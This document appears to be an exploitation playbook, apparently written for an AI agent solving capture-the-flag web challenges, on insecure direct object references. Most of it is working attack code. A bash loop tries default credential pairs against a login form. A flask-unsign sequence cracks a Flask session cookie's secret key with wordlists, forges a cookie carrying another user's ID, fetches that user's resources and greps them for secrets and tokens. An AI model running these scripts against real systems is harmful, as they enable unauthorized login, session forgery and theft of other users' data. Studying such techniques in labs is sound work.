idor-exploitation

Insecure Direct Object References (IDOR)

Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.

Default Credentials Fast-Path (when default_credentials is a co-tag)

When default_credentials appears alongside idor in the challenge tags, attempt login FIRST before any IDOR probing:

# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
    -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
  code=$(echo "$resp" | tail -1)
  [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done

A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.

Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path

When to use: After logging in (default creds), if the session cookie starts with eyJ (base64) and contains a . separator without a JWT alg header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.

Evidence pattern (real-world evidence): test:test → user_id=10032 in Flask session → IDOR target at /order/<id>/receipt → cookie rejected when manually modifying user_id → SECRET_KEY your_secret_key found via flask-unsign → forged cookie with target user_id → flag.

# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'

# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
  result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done

# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'

# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt